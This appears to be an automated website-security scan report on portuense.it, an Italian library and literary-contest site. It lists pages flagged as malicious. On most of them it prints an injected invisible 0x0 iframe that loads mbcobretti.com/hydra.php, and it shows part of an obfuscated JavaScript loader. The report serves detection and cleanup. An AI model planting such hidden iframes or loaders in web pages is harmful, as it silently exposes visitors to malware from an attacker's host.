Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=portuense.it
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.portuense.it/ | 200 OK Content-Length: 7123 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function hashdate (str) {if(!str) {var date=new Date();var str = date.getUTCFullYear() + "/" + (date.getUTCMonth()+1) + "/" + date.getUTCDate() + " " + (date.getHours() >= 12 ? 'PM':'AM');};var table = [0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639, ...[3440 bytes skipped]... Antivirus reports: Malicious iFrame found. The same iFrame was found in 69 websites. size: 0x0 src: http://mbcobretti.com/hydra.php This URL is marked by Google as suspicious <iframe src=http://mbcobretti.com/hydra.php frameborder="0" width="0" height="0" scrolling="no" name=counter> | ||
http://www.portuense.it/saed.html | 200 OK Content-Length: 12209 Content-Type: text/html | malicious |
Page code contains blacklisted domain: mbcobretti.com <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="it"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Centro di Documentazione sui Disturbi Psicologici e Neuropsicologici in Età Evolutiva | ex Sportello Autismo e Dislessia | Portuense.it | Circolo di Lettura della Biblioteca Corviale | Biblioteche ...[4985 bytes skipped]... Malicious iFrame found. The same iFrame was found in 69 websites. size: 0x0 src: http://mbcobretti.com/hydra.php This URL is marked by Google as suspicious <iframe src=http://mbcobretti.com/hydra.php frameborder="0" width="0" height="0" scrolling="no" name=counter> | ||
http://w.sharethis.com/button/buttons.js | 200 OK Content-Length: 144828 Content-Type: application/x-javascript | clean |
http://www.portuense.it/index.html | 200 OK Content-Length: 7123 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function hashdate (str) {if(!str) {var date=new Date();var str = date.getUTCFullYear() + "/" + (date.getUTCMonth()+1) + "/" + date.getUTCDate() + " " + (date.getHours() >= 12 ? 'PM':'AM');};var table = [0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639, ...[3440 bytes skipped]... Antivirus reports: Malicious iFrame found. The same iFrame was found in 69 websites. size: 0x0 src: http://mbcobretti.com/hydra.php This URL is marked by Google as suspicious <iframe src=http://mbcobretti.com/hydra.php frameborder="0" width="0" height="0" scrolling="no" name=counter> | ||
http://www.portuense.it/un_mondo_migliore.html | 200 OK Content-Length: 11597 Content-Type: text/html | malicious |
Page code contains blacklisted domain: mbcobretti.com ...[1348 bytes skipped]... png"> <!-- Share This --> <script type="text/javascript">var switchTo5x=true;</script> <script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script> <script type="text/javascript">stLight.options({publisher: "ur-606fcf61-17f6-eee2-811d-9b6e9bcd6f94"}); </script> <!-- /Share This --> </head> <body><iframe src=http://mbcobretti.com/hydra.php frameborder="0" width="0" height="0" scrolling="no" name=counter></iframe> <div id="wrapper"> <div id="head"> <div class="logo"></div> </div><!-- /head --> <div id="center"> <div id="main"> <!-- QUI IL CONTENUTO DELLA PARTE CENTRALE --> <h1>Un Mondo Migliore</h1> <h2>concorso letterario per ragazzi</h2> <p>La Biblioteca comunale Corviale di ...[3384 bytes skipped]... Malicious iFrame found. The same iFrame was found in 69 websites. size: 0x0 src: http://mbcobretti.com/hydra.php This URL is marked by Google as suspicious <iframe src=http://mbcobretti.com/hydra.php frameborder="0" width="0" height="0" scrolling="no" name=counter> | ||
http://www.portuense.it/bonsai.html | 200 OK Content-Length: 12967 Content-Type: text/html | malicious |
Page code contains blacklisted domain: mbcobretti.com ...[1340 bytes skipped]... png"> <!-- Share This --> <script type="text/javascript">var switchTo5x=true;</script> <script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script> <script type="text/javascript">stLight.options({publisher: "ur-606fcf61-17f6-eee2-811d-9b6e9bcd6f94"}); </script> <!-- /Share This --> </head> <body><iframe src=http://mbcobretti.com/hydra.php frameborder="0" width="0" height="0" scrolling="no" name=counter></iframe> <div id="wrapper"> <div id="head"> <div class="logo"></div> </div><!-- /head --> <div id="center"> <div id="main"> <!-- QUI IL CONTENUTO DELLA PARTE CENTRALE --> <h1>Premio Bonsai 2009-2010</h1> <h2>Premio letterario âRacconti Bonsaiâ â Roma Aprile 2010</h2> <p> ...[3380 bytes skipped]... Malicious iFrame found. The same iFrame was found in 69 websites. size: 0x0 src: http://mbcobretti.com/hydra.php This URL is marked by Google as suspicious <iframe src=http://mbcobretti.com/hydra.php frameborder="0" width="0" height="0" scrolling="no" name=counter> | ||
http://www.portuense.it/../bonsai/bonsai2009.pdf | 400 Bad Request Content-Length: 226 Content-Type: text/html | clean |
http://www.portuense.it/test404page.js | 404 Not Found Content-Length: 212 Content-Type: text/html | clean |
http://www.portuense.it/realbook.html | 200 OK Content-Length: 7017 Content-Type: text/html | malicious |
Page code contains blacklisted domain: mbcobretti.com ...[1331 bytes skipped]... png"> <!-- Share This --> <script type="text/javascript">var switchTo5x=true;</script> <script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script> <script type="text/javascript">stLight.options({publisher: "ur-606fcf61-17f6-eee2-811d-9b6e9bcd6f94"}); </script> <!-- /Share This --> </head> <body><iframe src=http://mbcobretti.com/hydra.php frameborder="0" width="0" height="0" scrolling="no" name=counter></iframe> <div id="wrapper"> <div id="head"> <div class="logo"></div> </div><!-- /head --> <div id="center"> <div id="main"> <!-- QUI IL CONTENUTO DELLA PARTE CENTRALE --> <h1>Real Book</h1> <h2>Leggere in tempo di Jazz</h2> <p align="center">Intro<BR> <i>Quando ...[3435 bytes skipped]... Malicious iFrame found. The same iFrame was found in 69 websites. size: 0x0 src: http://mbcobretti.com/hydra.php This URL is marked by Google as suspicious <iframe src=http://mbcobretti.com/hydra.php frameborder="0" width="0" height="0" scrolling="no" name=counter> | ||
http://www.portuense.it/pdf/ebook-RealBook-corviale.pdf | 200 OK Content-Length: 303556 Content-Type: application/pdf | clean |
http://www.portuense.it/kam.html | 200 OK Content-Length: 6701 Content-Type: text/html | malicious |
Page code contains blacklisted domain: mbcobretti.com ...[1332 bytes skipped]... png"> <!-- Share This --> <script type="text/javascript">var switchTo5x=true;</script> <script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script> <script type="text/javascript">stLight.options({publisher: "ur-606fcf61-17f6-eee2-811d-9b6e9bcd6f94"}); </script> <!-- /Share This --> </head> <body><iframe src=http://mbcobretti.com/hydra.php frameborder="0" width="0" height="0" scrolling="no" name=counter></iframe> <div id="wrapper"> <div id="head"> <div class="logo"></div> </div><!-- /head --> <div id="center"> <div id="main"> <!-- QUI IL CONTENUTO DELLA PARTE CENTRALE --> <h1>Kam ma kam</h1> <h2>la biblioteca dei misteri</h2> <p>Kam ma kam è lâincipit delle favole arabe: si ...[3392 bytes skipped]... Malicious iFrame found. The same iFrame was found in 69 websites. size: 0x0 src: http://mbcobretti.com/hydra.php This URL is marked by Google as suspicious <iframe src=http://mbcobretti.com/hydra.php frameborder="0" width="0" height="0" scrolling="no" name=counter> | ||
http://www.portuense.it/pdf/cercasi_poeti.pdf | 200 OK Content-Length: 280951 Content-Type: application/pdf | clean |
http://www.portuense.it/bonsai/bonsai2009.pdf | 200 OK Content-Length: 269780 Content-Type: application/pdf | clean |
http://www.portuense.it/../saed/13NovPres.sAeD.GMiani-PCaprioli.pdf | 400 Bad Request Content-Length: 226 Content-Type: text/html | clean |
http://www.portuense.it/../saed/BibliografiaDislessia.pdf | 400 Bad Request Content-Length: 226 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: portuense.it
Result:
GET / HTTP/1.1
Host: portuense.it
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: portuense.it
Referer: http://www.google.com/search?q=portuense.it
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: portuense.it
Referer: http://www.google.com/search?q=portuense.it
Result:
The result is similar to the first query. There are no suspicious redirects found.